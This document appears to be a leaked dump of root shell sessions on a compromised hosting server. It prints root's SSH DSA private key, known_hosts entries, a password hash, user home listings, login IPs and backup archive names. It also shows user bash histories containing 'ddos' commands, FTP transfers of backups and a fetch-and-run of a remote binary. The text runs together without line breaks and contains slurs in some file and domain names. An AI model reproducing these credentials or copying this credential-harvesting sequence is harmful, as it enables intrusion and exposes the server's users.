g00ns83/backup/oldlayout g00ns83/public_htmlwcd /home/evilcodecd newircd/su evilcodeddossynnetstatnetstat -addosddos 10lscsf -rlsnano /etc/csf/csf.deny lscd /llscd /lscd /evilcodelscd /home/evilcodelscd newircd/lscd Unreal3.2.7su evilcodewcd /cd /homelscd evilcode/lscd newircd/lscd Unreal3.2.7lssu evilcodelscd ../../lsls evilcodelsps -auxlscd /homelscd evilcodelscd Unreal3.2lsps -auxlssu evilcodecd /home/evilcodelscd newircdlscd unreal3.2.7cd Unreal3.2.7lssu evilcodelswcd /lscd /homecd evilcode/lscd newircdllscd Unreal3.2.7lssu evilcodelscd /lscd homelscd excodeirc/lsmv Unreal3.2 privateirclsmv privateirc/ Unreal3.2cp Unreal3.2 privateircdlscp Unreal3.2 privateircdls Unrealls Unreal3.2su excodeirclscd /cd /homelscd egg/lscd eggdroplsnano v0ltr0n.confnano v0ltr0n.chan./eggdrop-1.6.18 v0ltr0n.conf su eggwpasswd g00ns83wlscd /sulsmake installsu sixtyzsu sixtyzlscd /home/sixtyzlsmkdir weecd weesu sixtyzlssu sixtyzlscd /su sixtyzsu sixtyzlscd /lscd /homelscd g00nsts395/lscd tslssu g00nsts395lsps -auxcd /homelscd evilcodelscd newircdlscd Unreal3.2.7lsnano unrealircd.confsu evilcodeuplastlast \ grep rootcd /var/log/httpd/domainslscat g00ns.net.log | grep 403cat g00ns.net.log cat g00ns.net.log | grep httpcat g00ns.net.log | grep regimecat g00ns.net.log | grep c99cat g00ns.net.log | grep shellcat g00ns.net.log | grep 406cat g00ns.net.log | grep 403htccat g00ns-forum.net.log | grep 403[root@demon2 ~]# ls -al .sshtotal 24drwx------ 2 root root 4096 Feb 10 12:55 .drwxr-x--- 14 root root 4096 Mar 27 16:14 ..-rw------- 1 root root 668 Jul 31 2007 id_dsa-rw-r--r-- 1 root root 612 Jul 31 2007 id_dsa.pub-rw-r--r-- 1 root root 2630 Apr 14 11:40 known_hosts[root@demon2 ~]# cat .ssh/*-----BEGIN DSA PRIVATE KEY-----MIIBugIBAAKBgQCr+zFL0Hd8ONiBNi9HwL/rgZcyIi/cHbbhZ/Sra2AaDfSFivL5XmtmaFgSVPbxCLWgxCtM8E8MGX/T/c/A2EFwqHfXgjLAyMNBuKDfumVYMwH51smLu5FrJhjt4qRgPnnG3W5Y1BkyoX28HvgnYHVNIGXcXe7GTutcIyGrrmYDNQIVAIKNsRm7Oi3Ql4Nc9/R997aQiZpNAoGAeDuTtliW+zn9ki5EKTVZCTM0EhGxarDF8JOz6JPfAlCpHEBtpNkQwmM1Gi8/XHPmAfDnNV0Na02XruhNk1UnWITBlqdU73Q413zxLkWtyoPLECz2ySjpbTtatkcOTlDKroyZBxBEZPd3zLNClWfKAbW3mj02Pp5eMA11eSfZoV8CgYAysoncbc8l0WCVF5+NF84bfbRCYLCzMKq7e4kVoyGwGcoVHjVihRa+n/UmWxQx7Q4+DiuzzpyTFnSjUUlsxwnYXyg+9pswgyKi0FHxR01S+2b0laQNwnJpxp6T7yuSKLG3PacwFo+WWgVlMm7lafZHjKYBm0TE3ZdnBq3EM1TsbAIUeUGslYXH8q7BsyrkvGrDpQAhjSI=-----END DSA PRIVATE KEY-----ssh-dss AAAAB3NzaC1kc3MAAACBAKv7MUvQd3w42IE2L0fAv+uBlzIiL9wdtuFn9KtrYBoN9IWK8vlea2ZoWBJU9vEItaDEK0zwTwwZf9P9z8DYQXCod9eCMsDIw0G4oN+6ZVgzAfnWyYu7kWsmGO3ipGA+ecbdbljUGTKhfbwe+CdgdU0gZdxd7sZO61wjIauuZgM1AAAAFQCCjbEZuzot0JeDXPf0ffe2kImaTQAAAIB4O5O2WJb7Of2SLkQpNVkJMzQSEbFqsMXwk7Pok98CUKkcQG2k2RDCYzUaLz9cc+YB8Oc1XQ1rTZeu6E2TVSdYhMGWp1TvdDjXfPEuRa3Kg8sQLPbJKOltO1q2Rw5OUMqujJkHEERk93fMs0KVZ8oBtbeaPTY+nl4wDXV5J9mhXwAAAIAysoncbc8l0WCVF5+NF84bfbRCYLCzMKq7e4kVoyGwGcoVHjVihRa+n/UmWxQx7Q4+DiuzzpyTFnSjUUlsxwnYXyg+9pswgyKi0FHxR01S+2b0laQNwnJpxp6T7yuSKLG3PacwFo+WWgVlMm7lafZHjKYBm0TE3ZdnBq3EM1TsbA== root@server.domain.com72.20.5.94 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAz6mhC9bjyFZ4EYXzRu2CZ8QLdxeSm9z5Y4svIrDM7xWD11MsWArRV6FAdb29NKCTVGu4Bn/jZmvjzG0W8mSd1b4AzdOm/T24+nGdfgKujuTonEHO3xMPomTdvmYsKYgn7JYboa5meUXD2hJJZ/nZUq2aSe7ByYsS5vCEsBHGIv0=69.42.223.17 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAx8MbaIB8gbYx6GMEEOjwSfkeq4n/8c5erPuGuQH/oJUkU6DD1KDkqKwptS4PkiAMZVV93tU/VBo3MT1i0YVQlTRWyg8sKuwsNv0f0x0day2qsoz0lSNYnjKXWYLqT1qryv1slI4BXuQB1jhr5dARBmVL+YCNx6OSxvt7Q9m0JwtTqQayOm6Zcab/H3pm97nrYKRRxX3ikdXJdnekCwJw5BPZcypdqLlowB9hbVijWVnVZAYg96HssBRR6WxxNAPOLmCj/8bx4fLnNHu2F9tLdcNyzGMUuDbLxYI+06Nwtk3fovpKwo+b/DmfcHaF4Lkm96pWpuhc6oduxh6ySvlviw==halturnershow.com,208.53.158.3 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA7ry8evVeuNNH0+p9VXPMqqPgp9NjMx/EDUj7hnGwreKYWyCybTitmpGgTDFTuu8YZGAr+ssHoF2FMkr1lTF82IIsMx+EXMkoQJ0/SvMBO/gJiIsBRTU13n6Ad8FQZBCBez0dkzRI0msupnbWnytPvqu9j0/pErPzaGWrINB+6N63Cs241GU6Lt8EG6RX4UVgBTSm8aold+Ixpy+lmwTh3CNJu5zFtoCmmg7rCiQ7sn8ci4Rqq6YzV7LhzRyIiGRzH448v3/dDaUaf2ENIvycEz27ZezeB2g5B5icTPH+VQNhqTohEtoQec0vHqA9CzSExXufDlS4is+F7dJLcA0Tnw==74.86.141.218 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuSVqCiY8KhmN3OHYHlu03zkoGIMIGQPaM0bM6alUQPl7H7iAF9WOqaQ7OjpsBxvQO7/tchkP9Azy40W428OKgg61XDrJoy/fBnOXAmvAKj42N7l3engj9P7MN229DDH0ygM/o1ykP7bob5MZx5BSzFuDYaQtK+OhuhbsNiXOGCtIXPQ6XLRSo72GKoFzT4Y1Kc/Pux0lXrA7JrX8cOw24TgkQ14Xh9vWRUXnxlq2HkrLT2VPrJ50Rl4feDSScqGyvXtQDuWrIsLdk5sA9EhIIqYbYsJUUoHcIh30tOyOUoPcg3KTbk7gcInMGl3k7IOTZHI17wqOiNu1qIWYcGr1Tw==apu.711chan.org,89.46.37.242 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAnvnw1ZMHvmPzZ1cNLYwYYmUWVw5xncnMe/S/yyTwQ23kpDf6Ut0z/wpKeQd+m3XTiwzDUNsKLdIkUpZLucbqjBE1XlNF9pHqKqX1j5rvZN/rCNREdJkChWk2KRddSdBOg/Oc81tlOX6Fjv9zLglbo2y7Ojqx2eML/zifxTTTF82V0czG/bsXdtdhcW4JtVXVoN1iUcvEvZKAyEN41N/OZDAqUGaEYAjqDpmI/JJM3uCKDl1qelt0iuWZLEOivUp6emnjiQNPKF4Sb1silje6uETSsjK/n8mIi1YmO/KNRg+MM9LQ2EWe/cS+xAJwyeDT9WiY/k867FjlXxIBPcu3Lw==[72.20.6.22]:5000 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvmD6suMeQqo2oNRg9p4nzWttZZfLC1Uhmmnv/Y7YyQRjvBBjr5rAPdbfLxY6nsc4/f6JDmwNKdIn0j6LAcjFak/kuf7rAJwcolrsRxm4C5LH89D+r32t7guOI9hPgA0R38N7k7q2ykQlDNGyuMJp+1UXSAe8t0E+2VSgrr173rqNe+1oRaPWHcUdwoN9O+VmTVg+uS+cvlLSVue8BrUCZSvcDAOdMXeSOos7kibaQ181juAjHp+xEHd0zfdQxzItP9mMz0lqnY+J/miHuu6sm4G3E7WEXBLFjaTIZx3OzEg3eDBKpK8EYzXkYY5aq4eNNfCmqZqWdjnEBUwNCxrKGQ==[72.20.6.190]:9000 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAneqXXAJ+LhaKKc6z2ugq1C6CojO0ylJCaZaO9WCL1CfstSGVBaEgYUq7qk7MtgGq71IIHuaYTE5KoXR6l8P+pZaONa/2vSCbmdOg7q/9xBQwmuXC8zKEnR7IqPqYL5idFioGV1G2dWYMTFJySQMPI96jW1a4iu5AL61zC2WEr9f8jDjGQ8+FTx8u7zX8GEaEJAQQEr99CpDq29jp7pKNFBOSo9OW5mDJt2Q8NOotExSdEkmkxrEBcOFshfiEmY99lm4QCjOFVDSxdH5s0VNKdYu0FBfMRlEh+UXFtL29BuEQUZnMwqU2NqCJknQ1gQawn8pQfYkpf4vBsu/h4/p2ow==[root@demon2 ~]# cd /home [root@demon2 home]# ls -altotal 252drwx--x--x 50 root root 4096 Mar 27 16:19 .drwxr-xr-x 27 root root 4096 Mar 11 00:10 ..drwx------ 2 40zzz 40zzz 4096 Dec 21 21:57 40zzzdrwx--x--x 17 admin admin 4096 Feb 11 22:44 admindrwx--x--x 6 alliancedn alliancedn 4096 Aug 1 2007 alliancedndrwx--x--x 8 aosw aosw 4096 Aug 1 2007 aosw-rw------- 1 root root 13312 Apr 21 05:01 aquota.group-rw------- 1 root root 13312 Apr 21 05:01 aquota.userdrwxr-xr-x 3 root root 4096 Jan 14 00:10 asbestosdrwx--x--x 9 barnseo barnseo 4096 Mar 5 23:19 barnseodrwx--x--x 6 bnc bnc 4096 Aug 8 2007 bncdrwx--x--x 6 bored bored 4096 Aug 1 2007 boreddrwx--x--x 6 churc0 churc0 4096 Aug 1 2007 churc0drwx--x--x 6 connors connors 4096 Aug 1 2007 connorsdrwx------ 3 cstest cstest 4096 Dec 11 17:29 cstestdrwx------ 2 cunt cunt 4096 Mar 13 17:26 cuntdrwx--x--x 5 dougie dougie 4096 Dec 20 16:28 dougiedrwx--x--x 10 egg egg 4096 Mar 23 11:26 eggdrwx--x--x 6 every every 4096 Aug 1 2007 everydrwxr-xr-x 9 evilcode evilcode 4096 Mar 25 13:40 evilcodedrwx--x--x 25 excodeirc excodeirc 4096 Apr 14 22:26 excodeircdrwx--x--x 6
exploiterc
exploiterc 4096 Dec 15 13:10
exploitercdrwx--x--x 7 felosi felosi 4096 Feb 10 12:51 felosidrwx--x--x 6 felosii felosii 4096 Aug 1 2007 felosiidrwxr-xr-x 2 root root 4096 Apr 22 2007 ftpdrwx--x--x 9 g00ns83 g00ns83 4096 Apr 18 21:47 g00ns83drwx--x--x 10 g00nsts395 g00nsts395 4096 Apr 16 19:57 g00nsts395drwx--x--x 7 grumpy grumpy 4096 Aug 1 2007 grumpydrwx--x--x 4 hackrad hackrad 4096 Aug 2 2007 hackraddrwx--x--x 5 hanon hanon 4096 Mar 23 16:25 hanondrwx------ 2 silc silc 4096 Jan 4 23:12 helpdrwx--x--x 7 hthhost hthhost 4096 Dec 30 14:59 hthhostdrwx------ 2 ident ident 4096 Feb 1 00:01 identdrwx--x--x 7 illmob illmob 4096 Apr 1 04:21 illmobdrwx--x--x 5 lost lost 4096 Feb 19 19:07 lostdrwx------ 2 root root 16384 Jul 31 2007 lost+founddrwx--x--x 6 mycorp mycorp 4096 Aug 2 2007 mycorpdrwx--x--x 8 party party 4096 Mar 7 18:20 partydrwx--x--x 5 partyvan partyvan 4096 Jan 1 15:04 partyvandrwx--x--x 7 pingyill pingyill 4096 Aug 1 2007 pingyilldrwx--x--x 5 564 565 4096 Mar 9 11:56 pr0bedrwx--x--x 5 pvannet pvannet 4096 Mar 26 19:13 pvannetdrwx--x--x 6 ragedns ragedns 4096 Aug 2 2007 ragednsdrwx--x--x 6 rageserver rageserver 4096 Aug 1 2007 rageserverdrwx--x--x 6 robo robo 4096 Aug 1 2007 robodrwx--x--x 15 shoutcas shoutcas 4096 Aug 6 2007 shoutcasdrwx------ 3 silc silc 4096 Jan 18 16:08 silcdrwx--x--x 7 sixtyz sixtyz 4096 Apr 16 19:09 sixtyzdrwx--x--x 10 sn00g3s sn00g3s 4096 Apr 3 01:33 sn00g3sdrwxrwxrwt 2 root root 4096 Apr 21 00:10 tmpdrwx------ 5 tribal tribal 4096 Mar 26 07:36 tribaldrwx--x--x 6 void void 4096 Aug 1 2007 void[root@demon2 home]# lastlog | grep -v NeverUsername Port From Latestroot pts/1 74-34-107-191.ds Mon Apr 21 03:44:04 -0700 2008barnseo pts/1 86.121.190.64 Wed Mar 5 23:05:21 -0800 2008bnc pts/1 78.129.174.155 Sat Apr 19 20:27:10 -0700 2008partyvan pts/5 cpe-76-174-156-5 Tue Jan 1 15:27:39 -0800 2008[root@demon2 home]# cd 40zzz[root@demon2 40zzz]# ls -altotal 24drwx------ 2 40zzz 40zzz 4096 Dec 21 21:57 .drwx--x--x 50 root root 4096 Mar 27 16:19 ..-rw-r--r-- 1 40zzz 40zzz 24 Dec 21 21:57 .bash_logout-rw-r--r-- 1 40zzz 40zzz 176 Dec 21 21:57 .bash_profile-rw-r--r-- 1 40zzz 40zzz 124 Dec 21 21:57 .bashrc[root@demon2 40zzz]# cd ../admin[root@demon2 admin]# ls -altotal 119196drwx--x--x 17 admin admin 4096 Feb 11 22:44 .drwx--x--x 50 root root 4096 Mar 27 16:19 ..lrwxrwxrwx 1 root root 21 Sep 13 2007 admin_backups -> /backup/admin_backupsdrwxrwxr-x 2 admin admin 4096 Aug 1 2007 admin_backups1drwx------ 2 admin admin 4096 Aug 1 2007 backups-rw------- 1 admin admin 5774 Feb 11 22:50 .bash_history-rw-r--r-- 1 admin admin 304 Apr 27 2006 .bash_logout-rw-r--r-- 1 admin admin 191 Apr 27 2006 .bash_profile-rw-r--r-- 1 admin admin 124 Apr 27 2006 .bashrc-rw-rw-r-- 1 admin admin 6090 Jul 2 2007 da.cpanel.import.9beta1.tar.gz-r--r--r-- 1 admin admin 20320 May 26 2007 da.cpanel.import.pl-rwxr-xr-x 1 admin admin 272 Aug 6 2007 defaults.confdrwxr-xr-x 9 admin admin 4096 Jul 4 2007 domainsdrwx------ 2 admin admin 4096 Sep 29 2007 .elinks-rw-r--r-- 1 admin admin 383 Apr 27 2006 .emacsdrwxr-xr-x 4 admin admin 4096 Aug 1 2007 exdrwxrwxr-x 2 admin admin 4096 Oct 11 2007
exportdrwxrwx--- 5 admin admin 4096 Aug 1 2007 imapdrwxrwxr-x 2 admin admin 4096 Oct 11 2007 importdrwx------ 2 admin admin 4096 Aug 1 2007 maildrwxrwxr-x 2 admin admin 4096 Jan 4 2007 .mcdrwxr-xr-x 6 admin admin 4096 May 15 2006 modsecurity-apache_1.9.4-rw-rw-r-- 1 admin admin 496805 Jan 11 2007 modsecurity-apache_1.9.4.tar.gz-rw------- 1 admin admin 419 Sep 29 2007 .nessusrcdrwxr-xr-x 2 admin admin 4096 Jul 3 2007 public_html-rw-r--r-- 1 admin admin 55412 Jul 3 2007 rulezz.conf-rw-r----- 1 admin mail 34 Jun 29 2007 .shadowdrwx------ 2 admin admin 4096 Aug 1 2007 .ssh-rwx------ 1 admin admin 8515 Feb 10 15:41 t-rw-r--r-- 1 admin admin 213250 Aug 1 2007 user.admin.alliancedn.tar.gz-rw-r----- 1 admin admin 120993882 Aug 1 2007 user.admin.sn00g3s.tar.gzdrwx--x--x 2 admin admin 4096 Dec 8 10:00 user_backupsdrwxr-xr-x 3 admin admin 4096 Sep 29 2007 webmail[root@demon2 admin]# cat .bash_history cdcd user_backupsftp premshells.comping rst-crew.netexitcdfcdcd user_backupsftp premshells.comuptimenstexitcdcd userbackupscd user_backupsftp blackhat-hosting.comexitftp black-hosting.comftp blackhat-hosting.comupdatedbexitnano -w /etc/apf/deny_hosts.rulesexitcd user_backupscdcd user-backupscd user_backupslscp rosec.tar.gz /home/admin/domainscd /home/admin/domainslsmv rosec.tar.gz cpl.alliancedns.comcd cpl.alliancedns.commv rosec.tar.gz public_htmlexitcdmcchmod 644 rosec.tar.gzexitcdlsrm -rf backup user_backupsmkdir /home/admin/admin_backupsping zone-h.orgexitcdlslsmkdir user_backupscp *.tar.gz user_backupsexitcdchmod 755 domainsls -la domainsexitcdchmod 755 domainscdexitcdlsmv *.tar.gz user_backupslsls user_backupsexitcrontab -eexitcdlsls admin_backupsrm -rf admin_backups cat /etc/hostslsmkdir admin_backupsexitcdcd admin*lslslsexitcdlscd admin*lsrm -rf */tar.gzlsrm -rf *tar.gzlsexitcdcd admin*lscat /etc/hostsexitcdlsmv user.admin.aosw.tar.gz admin_backupsls admin*ls -la admin*topexitcdlsrm -rf backup-8.1.2007_11-19-41_g00ns83.tar.gzwget http://kade.nu/da/da.cpanel.import.9beta1.tar.gz'wget http://kade.nu/da/da.cpanel.import.9beta1.tar.gztar zxvf da.cpanel.import.9beta1.tar.gznano -w defaults.confexitnano -w defaults.confchmod 755 defaults*nano -w defaults.confmkdir import
exportrm -rf importmv cp importlsperl da.cpanel.import.plmkdir user_backupsperl da.cpanel.import.plls user*ls -la
exportcdlscd
exportlsrm -rf niggerma.tar.gz sevenz.tar.gzmv *.tar.gz ../user_backupslscd ..ls -la user_backupsexitcdlsls -larm -rf backup-8.2.2007_18-32-22_g00ns83.tar.gzls importcd importls -larm -rf backup*ls -lals -lals -lals -laexitcdls -lacd importls -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -larm -rf backup-8.2.2007_18-32-22_g00ns83.tar.gzlsddosexitcdcd importlslscdwget nix101.com/mod.tar.gzwget http://www.modsecurity.org/download/modsecurity-apache_1.9.4.tar.gztar zxvf modsecurity-apache_1.9.4.tar.gzcd mod*cd apache1apxsapxs -cia mod_security.cyum install httpd-develexitcdcd importlsexitcdcd importlscdlscd importls -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lanstexitcdcd importls -lals -lals -lals -lals -laexuitexitcdcd importls -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -lals -laexit\cdlsperl da.cpanel.import.plcd
exportlsmv g00ns* ../user_backupsping demon2.rage-servers.comcdcd /backuplsnano testrm -rf testexitcdlsls backuprm -rf backuptopexitsu adminidcdlsls
exportexitcdcd importlsrm -rf *.tar.gzftp 209.200.50.124lsrm -rf back*cdcd importftp 209.200.50.124quitftp 209.200.50.124cdlsnano -w defaults.confperl da.cpanel.import.plls
exportcd importlscdcd
exportlscp shoutcas.tar.gz ../user_backupscd /home/shou*exitcdlsls -la
exportls -la user_backupsexitcdcsf -a 72.20.1.46exitcdftp 72.20.1.46lsmv your* user_backupsexitcdcd domainslscd premshells.comlscd public_htmllsexitcdcd domainscd prem*wget protectedhost.com/stat.tar.gztar zxvf stat*LSlstar zxvf stat.tar.gzmv status public_htmlcdcd domainslscd premshells.comcd public_html;wget http://enterprise.bidmc.harvard.edu/pub/nessus-php/nessus-php-0.7.tar.gztar zxvf nessus-php-0.7.tar.gzmv nessus-php-0.7/ neslinks http://cgi.tenablesecurity.com/nessus3dl.php?file=Nessus-3.0.6-es5.i386.rpm&licence_accept=yes&t=aefdb0eaf2b035d672a91d4b551187b4wget http://cgi.tenablesecurity.com/nessus3dl.php?file=Nessus-3.0.6-es5.i386.rpm&licence_accept=yes&t=aefdb0eaf2b035d672a91d4b551187b4rm -rf index.html.1killall linkswget shitonkikes.com/Nessus-3.0.6-es5.i386.rpmrpm -i Nessus-3.0.6-es5.i386.rpmexitexit./configurecd /optlscd ness*lsls sbinsbin/nessus-adduserexitcdcd importftp cp2.secureservertech.comcd ..lsnano -w defaults.confls importrm -rf import/backup-8.6.2007_22-02-36_shoutcas.tar.gzperl da.cpanel.import.plls
exportcp
export/stockegg* user_backupsls user-Backupsls user_backupsping www.stockegg.comping www.stockegg.comping www.stockegg.comping www.stockegg.comping www.stockegg.comping www.stockegg.comping www.stockegg.comping www.stockegg.comping www.stockegg.comping www.stockegg.comservice named restartexitcdcd user_*lsftp sst0.comcdcd user_*ls -la aryan88*ftp sst0.comexitcdcd user_*ftp sst0.comcdlsexitcdlswget fearlesshost.com/tchmod 700 t./texit[root@demon2 admin]# ls -al .sshtotal 12drwx------ 2 admin admin 4096 Aug 1 2007 .drwx--x--x 17 admin admin 4096 Feb 11 22:44 ..-rw-r--r-- 1 admin admin 220 Aug 1 2007 known_hosts[root@demon2 admin]# cat .ssh/*72.20.1.46 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEA6qCFv8UowWc3dcRnWqzz4tPsx4GltEUA4rRmt/tsP0T4bsddMuF0yYvaSHVAZNjZwfup0heDh/cCs08AiGlKDL3yvNO4nTa/sXKr1AJ0Wdg0GMnhT+D0Mu8PXdCKhIfPZLsaW5p45WYmwy6afKxM20wZNVKw3YTXJweFE6n0s9M=[root@demon2 admin]# ls -al /backup/admin_backupstotal 28936116drwxr-xr-x 2 admin admin 4096 Dec 30 16:49 .drwxr-xr-x 6 admin admin 4096 Feb 1 03:03 ..-rw-r----- 1 admin felosi 11560 Sep 14 2007 admin.admin.felosi.tar.gz-rw-r----- 1 admin admin 11404750600 Dec 18 21:28 admin.root.admin.tar.gz-rw-r----- 1 admin admin 35395367 Aug 11 2007 reseller.admin.aaatrans.tar.gz-rw-r----- 1 admin 535 2166835881 Sep 14 2007 reseller.admin.bwhost.tar.gz-rw-r----- 1 admin 503 27875 Sep 14 2007 reseller.admin.llythexic.tar.gz-rw-r----- 1 admin 549 8597301 Sep 14 2007 reseller.felosi.brinkhos.tar.gz-rw-r----- 1 admin 552 5638521 Sep 14 2007 reseller.felosi.burn.tar.gz-rw-r----- 1 admin alliancedn 264984 Dec 30 16:29 user.admin.alliancedn.tar.gz-rw-r----- 1 admin aosw 541773752 Sep 14 2007 user.admin.aosw.tar.gz-rw-r----- 1 admin 532 28274761 Sep 14 2007 user.admin.aryan88.tar.gz-rw-r----- 1 admin 538 518730829 Dec 30 16:29 user.admin.asbestos.tar.gz-rw-r----- 1 admin barnseo 16041617 Dec 18 21:29 user.admin.barnseo.tar.gz-rw-r----- 1 admin bnc 2082640 Dec 30 16:29 user.admin.bnc.tar.gz-rw-r----- 1 admin bored 3830711 Dec 18 21:29 user.admin.bored.tar.gz-rw-r----- 1 admin churc0 4341166 Dec 18 21:29 user.admin.churc0.tar.gz-rw-r----- 1 admin connors 652449 Dec 18 21:29 user.admin.connors.tar.gz-rw-r----- 1 admin dougie 5454961654 Dec 30 16:37 user.admin.dougie.tar.gz-rw-r----- 1 admin 558 20340587 Dec 18 21:37 user.admin.earn.tar.gz-rw-r----- 1 admin egg 5530647 Dec 30 16:37 user.admin.egg.tar.gz-rw-r----- 1 admin every 323268270 Dec 30 16:37 user.admin.every.tar.gz-rw-r----- 1 admin evilcode 1607382248 Dec 30 16:40 user.admin.evilcode.tar.gz-rw-r----- 1 admin excodeirc 113123361 Dec 30 16:41 user.admin.excodeirc.tar.gz-rw-r----- 1 admin
exploiterc 273460363 Dec 18 21:43 user.admin.
exploiterc.tar.gz-rw-r----- 1 admin felosii 202367 Dec 18 21:43 user.admin.felosii.tar.gz-rw-r----- 1 admin g00ns83 1922138751 Dec 30 16:44 user.admin.g00ns83.tar.gz-rw-r----- 1 admin g00nsts395 5616214 Dec 30 16:44 user.admin.g00nsts395.tar.gz-rw-r----- 1 admin grumpy 207859624 Dec 30 16:44 user.admin.grumpy.tar.gz-rw-r----- 1 admin 516 988823 Sep 14 2007 user.admin.hackersd.tar.gz-rw-r----- 1 admin hackrad 371198425 Dec 30 16:45 user.admin.hackrad.tar.gz-rw-r----- 1 admin 517 2334763 Dec 18 21:48 user.admin.high.tar.gz-rw-r----- 1 admin illmob 593721185 Dec 30 16:46 user.admin.illmob.tar.gz-rw-r----- 1 admin 519 104101941 Dec 18 21:49 user.admin.leetmach.tar.gz-rw-r----- 1 admin mycorp 147245 Dec 30 16:46 user.admin.mycorp.tar.gz-rw-r----- 1 admin partyvan 327144959 Dec 30 16:46 user.admin.partyvan.tar.gz-rw-r----- 1 admin pingyill 30825336 Dec 30 16:47 user.admin.pingyill.tar.gz-rw-r----- 1 admin ragedns 189555066 Dec 30 16:47 user.admin.ragedns.tar.gz-rw-r----- 1 admin rageserver 255007 Dec 30 16:47 user.admin.rageserver.tar.gz-rw-r----- 1 admin robo 290786 Dec 30 16:47 user.admin.robo.tar.gz-rw-r----- 1 admin shoutcas 385370416 Dec 30 16:48 user.admin.shoutcas.tar.gz-rw-r----- 1 admin sn00g3s 269230557 Dec 30 16:49 user.admin.sn00g3s.tar.gz-rw-r----- 1 admin 524 1468386072 Sep 14 2007 user.admin.vg114.tar.gz-rw-r----- 1 admin void 14594 Dec 30 16:49 user.admin.void.tar.gz-rw-r----- 1 admin 548 75815612 Sep 14 2007 user.admin.yourgift.tar.gz-rw-r----- 1 admin 551 626926 Sep 14 2007 user.brinkhos.bayw.tar.gz-rw-r----- 1 admin 555 30546 Sep 14 2007 user.burn.kid652.tar.gz-rw-r----- 1 admin 553 27271 Sep 14 2007 user.burn.lucasl123.tar.gz-rw-r----- 1 admin 554 24648 Sep 14 2007 user.burn.rsuchow.tar.gz-rw-r----- 1 admin 533 308158933 Sep 14 2007 user.bwhost.assault.tar.gz-rw-r----- 1 admin 526 4716486 Sep 14 2007 user.bwhost.ballardt.tar.gz-rw-r----- 1 admin 527 175245944 Sep 14 2007 user.bwhost.darkstorm.tar.gz-rw-r----- 1 admin 528 597461 Sep 14 2007 user.bwhost.mffclan.tar.gz-rw-r----- 1 admin 529 540182805 Sep 14 2007 user.bwhost.squad.tar.gz-rw-r----- 1 admin 530 903208 Sep 14 2007 user.bwhost.tnpreacher.tar.gz-rw-r----- 1 admin 531 71751894 Sep 14 2007 user.bwhost.xlostboyx.tar.gz-rw-r----- 1 admin 550 8486403 Sep 14 2007 user.felosi.prox.tar.gz[root@demon2 admin]# ls -al backupstotal 8drwx------ 2 admin admin 4096 Aug 1 2007 .drwx--x--x 17 admin admin 4096 Feb 11 22:44 ..[root@demon2 admin]# cat .shadow $1$k67PPtsg$vReIxhUQshkQHrgN8qop4/[root@demon2 admin]# cd ../bnc[root@demon2 bnc]# ls -altotal 364drwx--x--x 6 bnc bnc 4096 Aug 8 2007 .drwx--x--x 50 root root 4096 Mar 27 16:19 ..-rw------- 1 bnc bnc 6018 Apr 19 20:31 .bash_history-rw-r--r-- 1 bnc bnc 24 Aug 3 2007 .bash_logout-rw-r--r-- 1 bnc bnc 176 Aug 3 2007 .bash_profile-rw-r--r-- 1 bnc bnc 124 Aug 3 2007 .bashrcdrwx--x--x 3 bnc bnc 4096 Aug 3 2007 domainsdrwxrwx--- 3 bnc mail 4096 Aug 3 2007 imapdrwx------ 2 bnc bnc 4096 Aug 3 2007 maildrwxr-xr-x 12 bnc bnc 4096 Apr 20 23:41 psybnc-rw-rw-r-- 1 bnc bnc 311715 Jun 4 2005 psyBNC-2.3.2-7.tar.gzlrwxrwxrwx 1 bnc bnc 35 Aug 3 2007 public_html -> ./domains/bnc.g00ns.net/public_html-rw-r----- 1 bnc mail 34 Aug 3 2007 .shadow[root@demon2 bnc]# cat .bash_history catlsls public_htmlcd public_html/lsnano index.htmlcd $homelsmkdir bnc1cd bnc1wget http://www.psybnc.at/download/beta/psyBNC-2.3.2-7.tar.gztar -zxvf psyBNC-2.3.2-7.tar.gzcd psybncmake menuconfig./psybnc./Psybnclsmake./psybnc./psybnc stopps -auxkill 26364lsps -auxkill 26364lsps -auxkill 26364ps -auxlsnano psybnc.conf./psybncps -auxwwhouserskill 26364kill 26364kill -i 26364kill -9 26364ps -aups -auxcd $homelsrm -rf bnc1userswget http://www.psybnc.net/psyBNC-2.3.2-7.tar.gztar zxvf psyBNC-2.3.2-7.tar.gzlscd psybncls -almake menuconfigmake menuconfigmake./psybncps =auxpsps -aps -Akill -9 3365kill 3365cd psybnc/lspico psybnc.conftext psybnc.confpsybnc.confnano psybnc.confnano psybnc.conf./[sybnc./psybncwlscd psybnclsnano psybnc.confnano psybnc.confmakesalt./makesalt cd toolslscd ..lscd scriptslscd example/lscd ..cd ..lscd helplscat ADDUSER.TXTcd ..lsnano psybnc.conflscd loglscat psybnc.logcat psybnc.logcat psybnc.logcat psybnc.logcat psybnc.logcd ..lsnano psybnc.confnano psybnc.confcd logcat logcat psybnc.logcat psybnc.logcat psybnc.logcd ..lscd ..lsps -auxkill 4414ps -auxkill 4414ps -auxlsrm -rf psybncps -auxkill 4414ps -auxtar -zxvf psyBNC-2.3.2-7.tar.gz lscd psybnclsmake menuconfiglsmakels./psybncnano psybnc.confps -auxps -auxlsrm -rf psybnc.pidkill 1463ps -auxlskill 1463lsps -aux./psybnc restart./psybnc psybnc.confps -auxkill 1463ps -auxlskillall 1463kill 1463killall psybncps -auxkill -9 1463ps 